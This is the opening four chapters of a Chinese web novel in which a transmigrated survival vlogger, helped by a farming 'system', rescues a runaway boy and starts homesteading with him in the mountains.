《穿越就送娇甜小夫郎[种田]》
1. 第 1 章
肩膀上一阵要命的刺痛传来,谢言伸手一抓,这才看到咬他的是一条剧毒的成年五步蛇。
这荒山野岭的活是活不成了,谢言气得将五步蛇一刀就劈成了两段,然后他就跟五步蛇一起软绵绵的倒在了地上。
视线变得模糊,阳光从树冠的缝隙中照进来漂亮得不像话。谢言闭上眼睛的最后一刻想的是,‘遭瘟的五步蛇,老子连恋爱都还没谈过就嘎了。’
下一刻脑中响起了机械声,‘叮,欢迎绑定勤劳致富系统,穿越即送绝色美人。’
谢言垂死病中惊坐起,猛地睁开了眼睛,入目是一个臭烘烘的山洞,他现在就坐在山洞的地上,地上铺了一些甘草,在不远处还有一个用甘草铺起来的窝。山洞里基本上啥也没有,谢言低头看了他身上穿着的衣服,褐色的短打,看起来不像是现代人会穿的。
好饿。
谢言的肚子‘咕咕’叫,一股抓耳挠腮的饥饿感让他浑身难受,就在谢言饿得快要吃土的时候,临死前听到的机械声又响了起来。
‘检测到宿主即将饿死,现发放新手福利。’
话音一落,谢言的面前就凭空出现了两包压缩饼干和两瓶矿泉水。
此时此刻谢言什么都顾不得了,撒开包装就狼吞虎咽的吃了起来。
压缩饼干和矿泉水一股脑的全部吃完,饥饿感这才缓解了。随即一股记忆涌入谢言的脑海。
原主也叫谢言,出生在小叶子村的谢家,一岁时被山中的野狼叼走,被野狼养到十四岁。三天前,谢言被村民发现,将他送回了谢家,但是谢家祖上当过大官,虽然现在没落了,但傲气还在,断断不能接受一个被畜生养大的孩子,所以给了谢言三匹山的地契,在村长的见证下与谢言断绝了关系。
谢言从小被野狼在深山里养大,没见过人听不懂话也不会说话,但他能感知道情绪,他也知道自己是不一样的,所以回到从小的长大的山洞就开始绝食,他本来就存了死志,没两天就饿死了。
那不远处的‘狗窝’其实是狼窝。
谢言忍不住咋舌,他之前虽然是个有上千万粉丝的荒野求生博主,可一年最多也只有几个月在荒山。现在倒好,端上荒野求生的铁饭碗了。
在这儿荒野求生一辈子,还不如早死早超生。
谢言重新倒了下去,此时系统又说话了,‘宿主,想想你的绝色美人。’
谢言又行了,忙不迭的立起来问道:“美人在哪儿呢?”
‘这边。’
出了山洞,金黄的阳光从树冠的缝隙中照进来,缥缈梦幻。放眼望去,层林叠翠,绿意盎然,清新的空气让人不自觉的放松了精神。
跟着系统的指示,谢言找到了一个倒在地上一动不动的‘竹竿子’。
只见那人头发凌乱,穿着明显短了一截还打着补丁的粗布麻衣,面黄肌瘦,又矮又小,看着跟个豆芽似的。唯一能看的就是鼻子,挺翘的。
谢言冷笑,他就说这鸟不拉屎的鬼地方能有个屁的绝色美人。
系统解释道,‘你别看他现在不咋地,养好了就是绝色美人。’
谢言没好气的回它,‘一穷二白的,我拿啥养他?’
系统道,‘咱是劳动致富系统,只要你劳动了就能赚经验值,可以在系统商城里买东西,良性循环慢慢的就富起来了。’
说到买东西谢言来了兴致,‘比如说点石成金的金手指?’
系统有些无语,‘只有瓜果蔬菜种子苗,农耕用具什么的。’
好吧,来都来了,不能真死这儿了。谢言一边想着一边研究地上的豆芽菜,‘我现在这么穷,能不能晚几年在来捡他?’
系统回他,‘反正我已经送了,救不救随你。’
谢言又问,‘不救会怎么样?’
系统道,‘死这儿呗。’
奸诈。
谢言一边暗骂着系统,一边弯腰把豆芽菜抱了起来,太轻了,比夏天吃的西瓜还轻。
谢言觉得不大对劲,又问,‘他今年多大啊?’
系统回,‘十三。’
谢言震惊,差点把人给摔地上,“才十三?”
系统不理解他在震惊什么,‘你救人还管人家是十三还是三十啊?’
谢言相当无语,但为了省力气就没有跟系统掰扯了。
谢言将豆芽菜抱回山洞时,远远的就看到山洞口有两匹狼在转悠,看到谢言熟络的朝他跑了过来,但在靠近时又猛地停了下来,对着他大叫了起来。
谢言吓了一大跳,赶紧往后退,做出防御的姿势,一边与狼说话,“喂喂喂,我没有恶意,但你们要是咬我,我肯定会反击的。”
谢言一边与狼周旋,一边在脑中与系统说话,‘这到底是怎么回事啊?’
系统回他,‘大概是察觉出你不是本人了吧。’
这也察觉得出来?谢言不理解但接受,为了活命他与系统谈条件,‘给我一把AK,我崩了它们。’
系统回他,“没那种东西,而且你现在经验值为零,系统商城里的东西全买不了。”
谢言道,‘不是有新手礼包吗?’
系统回他,‘已经给了啊。’
艹,谢言暗骂系统。系统说他,‘我知道你在骂我,骂我也没用,这是规则。’
什么都没有,手上还抱着个豆芽菜,谢言实在想不出办法了,‘那现在一起等死好了。’
但出乎意料的是,那两匹狼只是对着谢言吼了几声就转身离开了,跑进山林中不见了身影,看着像是放过他的意思。不过谢言不确定,‘这啥意思?’
系统回他,‘我也搞不懂,我没有接入兽语程序。’
什么都搞不懂,谢言无语死了,也不在与系统说话,抱着豆芽菜进了山洞。虽然山洞有风险,但露宿野外风险更大,所以谢言还是决定回到山洞。
谢言将豆芽菜放在他之前睡的草窝里,豆芽菜虚弱得已经吸的气少,呼的气多了,谢言只会些简单的急救措施,这种情况他不会处理,问了系统,‘现在怎么搞?’
系统回他,‘大概也是饿的。’
谢言道,‘拿吃的来。’
系统大叫,‘我哪有吃的?吃的都给你了。’
谢言不想跟它浪费时间,‘你觉得他现在能啃你那硬邦邦的压缩饼干?你要不给,他死了,你就重新找个绝色美人赔给我,不然我一定要写一万字的差评送给你。’
系统犹犹豫豫的,‘就..最
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后一次,当新手福利了。’
‘拿来吧。’
话音一落,眼前就多了一瓶能量饮料。谢言等了一会儿也没有等到其他东西,不敢置信的问道,‘就这?’
系统说,‘我是勤劳致富系统,不是白给系统。你要是不愿意干了,我就送你回原世界去死。’
我艹,谢言心里又开始骂系统了,系统负气的哼了一声。
‘行行行,我知道了。’
谢言妥协着应了一声,将能量饮料打开喂给了豆芽菜,豆芽菜虽然人还晕着,但很配合的喝完了。
一瓶饮料喝完人也没有要醒的迹象,谢言只能暂时将他放在山洞里,自己出门找吃的,不然等天暗下来,就很难找到吃的了。
临走的时候,谢言还是不放心,‘万一那两狼又回来了怎么办?’
系统想了一下回他,‘我在洞口留一段超声波音频驱赶猎物。’
‘那行。’这系统总算是干了件靠谱的事。
谢言这才出了山洞,太阳很大,阳光透过茂盛的树冠照进来,但并不算太热。谢言预估,现在应该是六月。
系统肯定了他的猜想,‘按现代的时间算,现在是六月一日。’
夏季是荒野求生最好的季节,因为这个季节的物资是最充沛的,山上有野果野菜,这种荒山野林还有资源丰富的野味,只不过他现在什么工具都没有,野味就先不用想了,只能看能不能捕点鱼,弄点野菜野果什么的维持生命。
山洞在半山腰,林子茂密看不出去,人生地不熟的,谢言为了少跑弯路,选择问系统,‘这附近有水塘吗?’
系统很痛快的就回了他,‘有,山脚下有一个大水塘。’
谢言继续问,‘有鱼?’
系统回他,‘肯定有啊。’
谢言往山下走去,路途中挑挑选选的折了七八根细木棍当捕鱼叉。
来到山下,果然看到了一个很大的水塘,周围的杂草比他人还要高,水更深,初步估计得有个三四米,面上飘了些乱七八糟的杂草,看起来有些脏。
好在这个天不冷,谢言拨开杂草,将细木棍扔到水塘中,‘咚’‘咚’‘咚’几声,木棍沉了下去,但很快又浮了上来,飘在水面上晃来晃去的。
谢言脱了衣裳一个猛子扎进了水塘中,霎时间全身清凉,很舒爽,睁开眼水里的世界倒是比面上看着干净多了,绿色的水草被冲击得摇摇晃晃,鱼儿受了惊游得飞快。
谢言左右环顾了一圈,大大小小的鱼非常多,两个人吃一年也吃不完。
虽然鱼多,但都很警惕,谢言刚要靠过去鱼就游开了。在水里折腾了十几分钟,谢言终于成功的抓到了第一条鱼。一条草鱼,肥嘟嘟的,大概都四斤左右。
‘叮,恭喜宿主成功收获异世第一桶金,现在发放起始物资-蔬菜种子:红薯种两个,土豆种两个,萝卜种子二十粒,藕种三个,棉花种子五十粒。农耕工具:镰刀一把,平头锄一把,平头宽铲一个。日用工具:小铁锅一口,小铁锅铲一个,铁制菜刀一把,小饭碗一个,竹筷一双。物资存放于系统背包,随时可用。’
卧槽,还有这种好事。
要不是没真人,谢言真想抱着系统亲两口。
2. 第 2 章
人逢喜事精神爽。谢言抓鱼也快了,不多一会儿就又抓了两条鱼。
多了也吃不完,谢言就将串在棍子上的鱼捡好上了岸穿好衣服,顺道从系统背包里拿了菜刀,就着水把鱼鳞刮干净,把内脏处理好了,这才哼着歌往山上去。
路上谢言与系统闲聊,‘你早说还有初始物资啊,害得我还以为要用嘴啃鱼鳞呢。’
系统回他,‘系统基操罢了。’
谢言笑道,‘谁懂你们这个?你还有没有别的基操,说来我心里有个底。’
系统道,‘白送的没有了。系统每天会根据你的收获计算出增加的经验值,宿主可以使用经验值在系统商城里购买物资。’
‘行,我看看。’
谢言停下脚步闭目进入系统商城看了,就是些农耕工具、日用工具,瓜果蔬菜的种子幼苗,不过出乎谢言意料的是竟然还有牲畜幼崽。嚯,竟然还有熊猫幼崽。
谢言十分惊讶,‘你这熊猫狮子老虎的,合法吗?’
系统回他,‘当然了,不合法的事电子产品也不能干。’
谢言转念一想,这地方可是古代,只要能养得起,养啥都行吧。
谢言快步回了山洞,洞里的人还跟他出去时一样,躺着一动不动的。
眼看快到中午了,早前吃的压缩饼干现在已经全部消化完了,这身体才十四岁,正是长个子的时候,一饿就抓心挠肺的。
于是谢言快步出了山洞,准备烧火烤鱼吃。
但,又遇到了一个难题,没火啊。
谢言与系统说,‘我有经验值了,买个打火机。’
系统回他,‘商城里没有打火机。’
谢言皱眉,‘怎么连打火机都没有?’
系统回他,‘不符合时代的物资都没有。’
谢言没了办法,只能尝试最原始的钻木取火,这方法虽然是老生常谈,但其实成功率非常低。之前谢言在荒野求生的时候也试过,试了不下十次,但没有一次成功过,后来他就彻底放弃了。
谢言砍了两截枯树枝,一截削尖,另外一截中间挖个小洞,放上助燃的干松针,不停的搓搓搓,搓搓搓。手都搓出火星子了,但木柴上依旧没有火星子。
手掌火辣辣的,谢言忍不住想,其实吃生鱼片也挺好的。
就在他这个想法冒出来的一瞬间,一直没有半点要着迹象的木头竟然开始冒起了烟,在搓两下竟然燃起了小火苗。
谢言喜不自胜,赶紧将刚才捡的柴火从小到大的堆到火苗苗上。等到细枝的柴烧完,粗壮木头上的火也稳定了,三根大木棍就是一笼火。谢言将每天鱼摊开左右分别用两根削尖的长竹棍串起来,插在火堆旁烤。
日头上来,坐在火堆旁热得很,谢言把三条鱼都插好后就坐得离火堆远了些。
在等待的间隙谢言开始为以后的日子做短期规划。
现在东西太少,最重要的是要维持温饱,以他现在的身份离开山上去城里肯定不现实,一来他没办法解释为什么短短几天他的变化就这么大,二来,他人生地不熟的带着一病号去外头也不方便,而且他也感觉得到系统肯定是要他留在山里的,不然初始物资就不会是那些东西。
以他的现状要维持温饱只有种地。现在种子有了,吃了午饭他就去开荒平块地出来,早些把种子种下去,土豆红薯种三个月就能收成,在这三个月内只有靠山吃山了。哦,还有一件很重要的事,他得想办法把房子搭起来,总不能一直住山洞里。
所以今年的任务基本上就定下来了,开垦荒地,解决基本的温饱,最好能把房子给建起来。
鱼翻了五六次面就差不多了,表面被烤得金黄焦脆,散发出一股诱人的香气,谢言拿了一条烤鱼走进山洞,刚要说话就看见豆芽菜睁开了眼睛。
豆芽菜警惕的看着他,“你.你是谁啊?”
“谢言。”谢言言简意赅的回答了他,“我出去找吃的,恰巧碰见了你,见你还没死就把你带回来了,你要走的话现在就可以走了。”
豆芽菜听了他的话低下了头,内敛得有些局促,小声说道:“谢.谢谢啊。”
谢言继续说:“如果你暂时想留下也可以,看你吧。”说着就蹲下身将烤鱼递给他,“刚考的鱼,吃吧。”
豆芽菜有些受宠若惊,“给我的?”
“嗯。”
豆芽菜的视线一直盯着烤鱼,甚至还无意识的咽了口水,但他瞥了一眼谢言,还是拒绝了,“不,还是你自己吃吧。”
谢言回他,“还烤得有,你拿着吧。”
豆芽菜不确定的问道:“真的?”
谢言回道:“骗你干什么。去山下抓的,吃了要是不够又去抓就是,池塘里多的是。”
说到这种程度,豆芽菜才接了过来,又小声的说了句,“谢谢。”
“吃吧。”谢言说着就起身往山洞外走去,拿起插在地上的烤鱼就吃了起来,虽然没有调料,但饿狠了,一样觉得好吃。
谢言坐在火堆旁,吃得满头是汗,便想着坐远些,刚起身就看到豆芽菜在洞口探头探脑的,被他发现了赶紧把头缩了进去,似乎很怕他。谢言看得疑惑,“怎么了,不喜欢吃?”
听到他的声音豆芽菜这才探出头来解释,“不.不是。”
谢言又问:“渴了?”
豆芽菜解释道:“不是,我就是想出来看看。”
谢言觉得有些好笑,“那你出来啊。”
豆芽菜看起来像是松了口气,低声说了一句,“谢谢。”这才走了出来。
豆芽菜出来后四处看了看,谢言看着他,“不认识?”
豆芽菜微微摇头,“没来过这里。”说罢又看向谢言,声音很低,“不过我听说过你。”
谢言有些好奇,随意坐到地上,“坐下说。”
豆芽菜在离他不远处坐了下来,说了起来,“我听村里人说的,你从小被野狼养大的,住在深山里。”
谢言随口问道:“就这些?”
豆芽
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菜的眼神闪了闪,“嗯。”
谢言看出来他没说实话,笑着问道:“就没有说我要吃人或者什么的?”
豆芽菜明显吓了一跳,谢言见状就知道果然有这种传闻,刚要解释就听豆芽菜说:“你不会吃人的,你吃鱼都要烤。”
谢言哈哈大笑,“有道理。”
两人年纪差不多,谢言很快就跟豆芽菜混熟了。
豆芽菜的名字叫沈念白,也是小叶子村人,他自小体弱又是个哥儿,家里人嫌他累赘,在几天前将他许配给了同村的张屠户。这个张屠户今年都五十八了,之前娶的两个哥儿都被他打死了,沈念白想着与其嫁过去被打死,还不如自我了断,还能少受些折磨。
谢言听了他的话十分很讶异,这个地方男男相恋这么普遍吗?不过听沈念白的意思他本人应该是直的,所以不用担心。
沈念白不知道他在惊讶什么,还以为他在同情自己,便趁机问道:“我.不想回去,我想暂时留下来可以吗?”
谢言当然同意,“我一个人住着也孤单,你留下来有个说话的人也好。”
沈念白低下头,微微红了耳尖,谢言见他似乎有所误会,赶紧解释,“我可没有那个意思,你留下来咱们就是兄弟。你要是想离开随时可以离开的。”
沈念白不明白他说的那个意思是什么意思,只是乖乖的应了声,“谢谢你。”
谢言笑了笑,“不用谢,这么大的山我一个人也住不过来,我巴不得在来几百个人一起住呢。”
沈念白虽然觉得他的想法不可能实现,但他也没有说出来扫兴,只是问道:“我以后能喊你谢言哥吗?”
“当然。”
沈念白便喊了他一声,“谢言哥。”
谢言听着就笑了起来,心里十分满足,这荒山野岭的以后总算能有个人说话了,“不错不错,以后我也是有弟弟的人了。”
谢言心情好,话就多了起来,将他的打算一一给沈念白说了。沈念白对于他有种子这件事很好奇,毕竟这地方看起来实在不像有种子的样子。
谢言给他解释,“我在山上求了山神,山神给的。”
现在轮到沈念白惊讶了,“真的有山神啊?”
谢言点头,“不然你以为我这么多年是怎么活下来的?”
沈念白惊讶过后很快就接受了谢言见过山神这件离奇的事。
烤鱼吃完了,谢言与沈念白说道:“我要去开荒种地,你还是进山洞休息。”
沈念白不肯,“谢言哥,我跟你一起去。”
谢言不大愿意,“你身体不好,还是别太劳累了。多休息休息,把身体养好了在说。”
沈念白没有多说,只是回道:“我没事的。”
谢言见他坚持也没有在说什么,他虽然是荒野求生博主,但种地这事他只能算半个内行,能有沈念白帮看着也是好的。
“那你瞧瞧,咱们以后把房子建在哪里最好?”
房子建在哪儿,就在哪里开荒。
3. 第 3 章
沈念白年纪不大,但穷人家的孩子早当家,什么都能说道说道。
建房子不是小事,选址更要慎重,沈念白问道:“谢言哥,你打算建多大的房子?”
这个谢言倒是没想过,“你觉得呢?”
“啊?”沈念白诧异于谢言连这么重要的事情都要问他,一时竟不知道该怎么回答。
谢言道:“我对这方面不大懂,你说说。”
沈念白回想了一下村子里的房子构造,家家户户孩子多,房子也就建得很大,不过他们就两个人,住也住不了多大。
“我觉得三间房差不多了。”
谢言小时候生活在农村,房子很大,“三间够了吗?”
沈念白回道:“应该够了吧,可以用木板子抬上建二层,用来睡觉。第一层建大了,地基不难挖,但是开石头填地基很费力。”
谢言这才意识到,对啊,建房子还要先挖地基,挖了地基还有去山上开石头来填,他现在一穷二白的,人力又不足,不知何年何月才能把房子建起来了。
“行,那你先按你说的,咱们先把地方选好。房子估计一时半会建不起来了,先搭个茅草屋过渡一下。”
“嗯。”沈念白自然没有异议。
说干就干,两个人围着山没走一会儿,就找到了一处很好的地方,背靠大山,地势相对平坦,不远处还有条小河,之前谢言抓鱼的池塘也在附近。
沈念白停了下来,“哥,我觉得这里就挺好的。”
谢言也很满意,“行,那就定下来,咱们的房子以后就建在这儿。”
地址选好以后,两人就在附近选了块地,准备开荒了。
谢言从系统背包里支取了镰刀和平头锄,为了蒙混过去,谢言假装是从草丛里找到的。
谢言上前两步将镰刀和平头锄从茂密的草丛里拿出来,“我之前放这儿的。”
村里人经常这样干,沈念白丝毫没有怀疑,从谢言手里拿过镰刀,“我来割草。”
谢言问他,“你行吗?要不你还是在旁边歇着?”
沈念白摇头,“不用,我每天都干这些的。”
谢言看着沈念白,他看着瘦瘦弱弱的,但手上全是老茧,一看就是每天干活的。
谢言不由得问道:“你不是身体不好吗?”
沈念白弯腰一边熟练的割草一边回他,“就是瘦了些矮了些,我爹娘说以后不好生孩子,但干活不影响的。”
这种话听得谢言直皱眉,但他也不知道该说什么,便也没有在继续说话了,只安心的锄起地来。
谢言锄地还要追溯到小时候了,他小时候在农村会帮爷爷奶奶干活,但自从读了初中就只有寒暑假才会回老家了,后来大学毕业干起了自媒体,虽然是在荒山老林里,但确实没怎么种过地了,一时间还有些手生,不过到底是有基础的,多用一会儿就熟练了。
种子不多,需要的地也不大。谢言觉得差不多了就喊停了沈念白,“念白,够了。”
沈念白拿着镰刀直起身擦了擦额头上汗,回头看着割出来的一小块方地,“这些就够了吗?”
谢言回道:“种子不多,暂时就这样吧。”
沈念白点头应了,“好。”
谢言将种子拿了出来,两个红薯,两个土豆,三节藕,和五十粒棉花种子。
“就只有这些。”
沈念白没有见过棉花种子,拿了一粒好奇的问道:“这是什么?”
“棉花种子。”
小叶子村不种棉花,但家家户户都有棉被,所以沈念白也知道什么是棉花,不过他好奇的是,“咱们这地能种出来棉花来吗?”
这个问题谢言没有问过系统,不过系统总不会在这种事情上坑他吧。
“山神给的种子,应该能种出来吧。”
沈念白一想也是,有山神保佑肯定会顺利的,于是他也点头,“肯定能种出来的。”
谢言道:“我把地挖出来,你把红薯和土豆切出来吧。”
红薯和土豆要切成块种,这活比较轻松,所以谢言能毫无负担的让沈念白去干。
沈念白应了,“好。”
沈念白抱着红薯和土豆去旁边找了块大石头,用菜刀切成小块。由于他们的母种很少,所以沈念白切得很细,想多种几个。
谢言站在地里观察地势,这里是块很缓的斜地。谢言琢磨,斜地总是没有平地好,这匹山总体山势很缓,是可以挖成梯田的,若从山上引泉,明年就可以种水稻了。
等会儿可以和沈念白商量一下。不过现在当务之急是先把种子种下去。
谢言将土全部翻了一遍,沈念白的种块已经切好了。
谢言就开始挖种子坑,一个锄头一个坑,中间间隔一个坑的距离。
沈念白抱着种块过来,问道:“咱们先种什么?”
谢言回道:“你看着办就是。”
“昂。”沈念白应了一声,他先种的土豆。
将切好的土豆种块放在坑里,在把周围的土拢过来覆在种块上,谢言看见了,与他说:“你扔下去就是,我挖完了等会一锄头就把土怼下去了,不用一个个的去刨。”
沈念白道:“不碍事的。”
谢言强势道:“听我的。”
沈念白深深的看了他一眼,随即应了声,“好。”
光扔种子就快了,站着扔坑里,连腰都不用弯。沈念白很快就追上了谢言,谢言挖得更快了些。
地不大,很大就挖完了,同一时间沈念白也扔完了,谢言掉了个头将坑上的土用锄头勾到坑里将种子埋起来,这个活简单,没一会儿谢言就埋完了。
沈念白大概数了一下,土豆一共种了二十个坑,红薯种了三十个坑。还种了二十粒萝卜种,五十粒棉花种子。
光种下去还不行,还要浇水。好在离池塘近,两人一来一回往返个二十次也就浇完了。
浇完了水。谢言将藕种种到了野池塘里,顺便还抓了八条鱼当晚饭。
谢言将系统背包里的小铁锅,小锅铲和竹筷子饭碗一股脑的都给了沈念白,“没啥吃的,晚上还是将就着吃鱼。你弄着,我去砍些竹子回来,先把茅草房搭起来。”
沈念白应道:“好,我一会儿去山上挖些野菜回来煮着吃。”
谢言道:“你看着办吧。”
沈念白应了声,“好。”
山上有一片很大的竹林,谢言走过去摇了一下,有汤碗口那么粗,挺实沉的。
谢言看了一下他的系统面板,他今天抓了八条鱼,加上之前抓的三条鱼,一共收获了十一个经验值,可以买一个砍刀。
谢言花十个经验值买了砍刀,有了刀就能砍竹子了,砍刀很锋利,四五下就能砍倒一根竹子,多远都能听到‘邦邦邦’的砍声。
随着一根根的竹子倒下,谢言的经验值也不停的加,一直到加到一百,谢言才停了下来。
谢言比划了一下需要的高度,三米高就差不多了。从三米处砍断,有分枝的把分枝剔了。等谢言把所有的竹子都整理好天都已经黑了。
“谢言哥。”
今晚月色很好,照在林子里都能看见,谢言听到声音看向来寻他的沈念白,应了一声,“这儿呢。”
沈念白听到他的声音走得更快了,“饭煮好了。”
“来了。”
谢言扛了三四根竹子在肩膀上,迎着沈念白走了过去。沈念白看到他砍的一大片竹子,不由得赞叹了一声,“哇,谢言哥,你好厉害。”
谢言回他,“走,回去吧。”
沈念白道:“我也去扛几根。”
谢言制住了他,“不用了,竹子重得很,你在前面带路。”
沈念白也没有坚持,只是走在他后面帮他一起抬。谢言担心把他压坏了,“不用帮忙,你走前面来。”
沈念白道:“后面不重。”
见他坚持谢言也没有在说什么,只是走得越发的快了。
回到之前种地的地方,远远的就闻到
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了香味。谢言将竹子扔到了地上,发出‘哗啦’的响声。
谢言拍了拍肩膀上的灰尘,回身看向沈念白,见他额头都冒了汗气喘吁吁的,不由得皱眉,“我要听我的话,不让你干的活不准干,不然我要揍你。”
他说话的样子凶巴巴的,沈念白知道他是为了自己好,但还是忍不住有点怕他,瑟缩的点了头,“哦。”
谢言见他害怕,也没有多说了,只道:“吃饭吧。”
原本啥也没有,沈念白就用碎石头简单的垒了一个灶,煮的鱼片汤。
由于只有一副碗筷,沈念白舀好鱼片汤递给了谢言,同时解释道:“我看时间有些晚了,就没有去挖野菜。”
谢言没接,“你先吃,我去削双筷子出来。”
沈念白道:“你吃吧。”
谢言没在和他多说,山里木材多得是,随手砍了一颗小树,简单削一削就成了一双筷子。又花了两点经验值从系统商城里买了一个饭碗,向沈念白展示,“现在不就有两副碗筷了?”
谢言自己去舀了鱼片汤,沈念白的手艺很好,鱼片片得很薄,他还加了些增香的碎叶子,谢言分辨不出来是什么,只是吃起来有种别样的香气,唯一美中不足的就是没味,不过现在这种情况能吃饱就不错了,谢言也不奢求其他的了。
忙了一下午,一锅鱼片汤很快就见了底,沈念白怕他没吃饱,就说:“鱼片还有,我在煮一锅。”
一锅鱼片汤谢言吃了一大半,实在是吃不下了,他摆摆手,“吃饱了。你把建茅草房的地方选出来,我去把竹子扛回来,咱们早点把茅草房搭起来。”
沈念白也想赶紧把房子搭起来,应承道:“好 ,我先选,等你回来一起确定。”
“行。”
谢言说完就又往山上去了,做活热得很,他便把上衣脱了,垫在肩膀上,扛竹子的时候肩膀没那么痛。
谢言一次能扛四五根竹子,头一次扛回来的时候,沈念白已经把位置给选好了,就在他们建房子的不远处,谢言没什么异议,就定下来了。
谢言扛竹子,沈念白也没闲着,拿上镰刀把地上的草给割了,又用锄头把地翻了一遍,将里头的草根什么的大致的理出来,然后重重的踩实,以免以后家里长杂草。
谢言扛了大概一半的时候就已经是半夜了,他丢下肩膀上的竹子,朝还在踩土的沈念白说了声,“念白,我饿了,把剩下的鱼片煮了吧。”
沈念白应声,“哦,好。”
谢言累得很了,用衣服胡乱的擦了擦身上的汗,倒在灶旁登时就睡着了,沈念白人才刚刚过来,就听见他睡着了,一时间还有点犯难,这鱼片到底还煮不煮?
不过他只是犹豫了一下就还是决定煮了,饿着睡觉睡不踏实。
处理好的鱼片煮不了多会儿,水烧开就可以吃了。沈念白盛了一碗,还稍微放了一会儿,等凉了才喊了谢言。
“谢言哥,吃饭了。”
谢言睡得死死的,沈念白只能去推他,“谢言哥,谢言哥。”
“嗯。”谢言迷迷糊糊的应了一声,这才终于是醒了。
沈念白又重复了一遍,“吃饭了,谢言哥。”
谢言坐了起来,沈念白将碗递给他,谢言接过来就开始吃,本来他又困,但吃鱼又不敢掉以轻心,怕鱼翅卡喉咙,结果越吃越清醒,越吃越清醒,等鱼片吃完,瞌睡也彻底跑完了。
谢言放下碗筷站了起来,“我去把剩下的竹子扛回来。”
见他这么拼,沈念白劝道:“要不还是明天去吧,今天累了一天了,还是睡会儿觉。”
谢言道:“瞌睡醒了,去扛点回来,你不用等我,困了就睡。”
沈念白确实困了,但他到底不好意思自己先睡,便道:“那我去给你作伴。”
谢言笑道:“又不是小孩子,还要作伴,你快睡,明天还有好多事呢 ,我扛一回回来也睡了。”
听他这么说,沈念白也没有在说什么,就应了一声,“好。”
4. 第 4 章
谢言确实是打算扛一回回来就睡的,结果扛一回回来看到沈念白小小的一个蜷缩在地上,都睡着了还不停的扇蚊虫,看起来睡得很不安稳。谢言便想着还是要早点把茅草屋搭起来,于是一鼓作气将所有的竹子全都扛回来了。
扛完竹子天都亮了,谢言肚里空空的,便又准备去抓鱼,但人还没走沈念白就醒了,看到谢言要走,连忙喊住了他,“谢言哥,你还在扛竹子啊?”
谢言回他,“哦,不是,竹子扛完了,准备抓鱼回来做早饭。”
沈念白道:“昨天抓的鱼还有呢,不用抓了。”
昨天抓了八条鱼,他们只吃了四条,还有四条,沈念白知道吃不完就挖了个小坑养起来了。
不用抓鱼了,谢言就着之前沈念白睡觉的地躺了下去,他在地上铺了草,已经睡得实贴了,比睡地舒服些。
“我睡会儿,吃饭了叫我。”
沈念白应了声,“好。”
沈念白想谢言多睡会儿,便没有着急做饭,想着去山上挖些野菜多个菜。
沈念白上了山,出乎意料额是这个时节山里竟然还有竹笋,很大一片,沈念白扯了许多,但他没东西装,于是就在原地笋壳剥笋壳,剥了差不多有个两三斤,沈念白估摸着够吃一顿了,于是脱了上衣,包着剥好的竹笋回去了。
沈念白回来的时候谢言睡得正香,三个蚊虫趴在他手臂上吸血他都没反应,沈念白瞧见了小心翼翼的凑过去,一巴掌下去掌心全是血,即便这样谢言都还没醒,可见是累惨了。
沈念白不在管谢言,去水坑里把剩下的鱼抓起来,拿着锅去小河边把鱼给处理了,又将笋子给洗干净,一锅装不下,剩了一大半的鱼片在石板上摊着。
沈念白拿着锅回去放在灶上煮,他的动作很麻利,很快就煮好了。
“谢言哥,吃饭了。”
谢言睡得死,喊也喊不醒,沈念白便没有在喊他,自己先吃了。
沈念白吃完了饭,就去搭竹屋了。
先用树枝在平整好的地上将房子边给描出来,然后将竹子立起来顺着边用力的插到土里去,沈念白身体瘦弱,没多大力气,光是把三米长的竹竿立起来都已经费了大劲了,整个人抱着竹竿,但力气还是不够。
谢言梦里还在吃鱼,结果吃着吃着手里的鱼变成了食人鱼还反咬了他一口,痛得谢言一下就睁开了眼睛,结果一睁眼就看到一排蚊虫在他胳膊上吸血,谢言猛地伸手打去,胳膊都染红了。
那边沈念白听到声音,与他说道:“谢言哥,饭在锅里,你吃吧。”
谢言抬头看到他整个人挂在竹竿上,跟跳钢管舞似的,“你赶紧下来。”
沈念白也知道自己不是干重活的料子,便也依言从竹竿上跳下来了,他走到谢言旁边说:“谢言哥,我等会去割茅草,咱们这两天就能把房子搭起来了。”
谢言点了头,想着割的茅草没有背篓装不回来,于是花了十个经验值在系统商城了买了一个背篓。还是老样子,从草丛里捡出来就跟沈念白说是他之前放的,沈念白这两天对他这个行为已经司空见惯了,完全没有要起疑的意思。
沈念白背着背篓上山了,谢言吃了一天的鱼,现在看到竹笋新鲜得很,将竹笋全部吃了,但还没吃饱这才又吃了一些鱼片,将一大锅吃得干干净净的。
吃得太饱谢言还小眯了一会儿,这才起身去建竹屋。他依着地上沈念白画的线将竹子插进地里去,但很快他就发现这个方法不好,插进去的竹子深度不够,用力一推就要倒,于是他只能老老实实的照着旧办法,沿着沈念白的画出的线挖了一个半米的沟槽做地基。
地基挖好后,将竹子挨个插进地基里,在回土填实,做完两面墙就已经到中午了,沈念白背着一大背的茅草和棕榈叶回来,看到谢言的进度不由得夸赞道:“谢言哥,你好厉害。这么快就做好一半了。”
谢言走过去将他背上的背篓接下来,背篓高高的冒起来,用茅草搓成的绳子捆着,放下来比沈念白还要高了。
谢言看得有些不舒服,“你别背那么多,你割好了喊我去背。”
沈念白回他道:“没事,我以前在家背的比这个重多了,这只是看着多,但都是草,不重的。”
谢言说他,“重不重我还不知道吗?你不听话以后不准你出门了。”
沈念白应承道:“我知道了,谢言哥,你别生气,下次我一定少背点。”说着转了话题,“谢言哥,我今天还捡到了蘑菇,今天咱们吃蘑菇炖鱼。”
谢言点头,“行,你做着,我去把剩下的竹子插完。”
沈念白看着他没说话,谢言直觉他有话要说,便问道:“怎么了?”
沈念白这才有些不好意思的说道:“没鱼了。”
谢言失笑,“这有什么不好意思说的,我去抓就是了。”
沈念白跟着他笑了笑,没有说话了。
谢言准备去抓鱼,此时他才觉得他们家东西差得太多,这个时候竟然连装鱼的都没有。
沈念白见他在找东西,便问道:“谢言哥,你找什么?”
谢言随口回道:“找装鱼的。”
“拿背篓去装吧。”
也没有别的东西,只有拿背篓了。其实谢言可以用经验值去系统商城里买,但他又想把经验值留着以后买种子买牲畜。
“行。”
沈念白将背篓表面的茅草小心的拿开,露出里面的粉白蘑菇,细心的将蘑菇一个个的捡出来,“一会儿我编几个竹篮。”
谢言有些惊讶,“你还会编竹篮呢?”
其实谢言小时候他爷爷也会编,不仅仅是竹篮,背篓,筲箕,甚至于板凳他都会做,好像那个年代的农村人都会,不过谢言是不会的,小时候想学,但奶奶怕他割到手,后来长大了又没有想学的心思了。
沈念白看向他笑了一下,露出小孩子求夸奖的神情,“对啊,我还会缝衣服呢。”
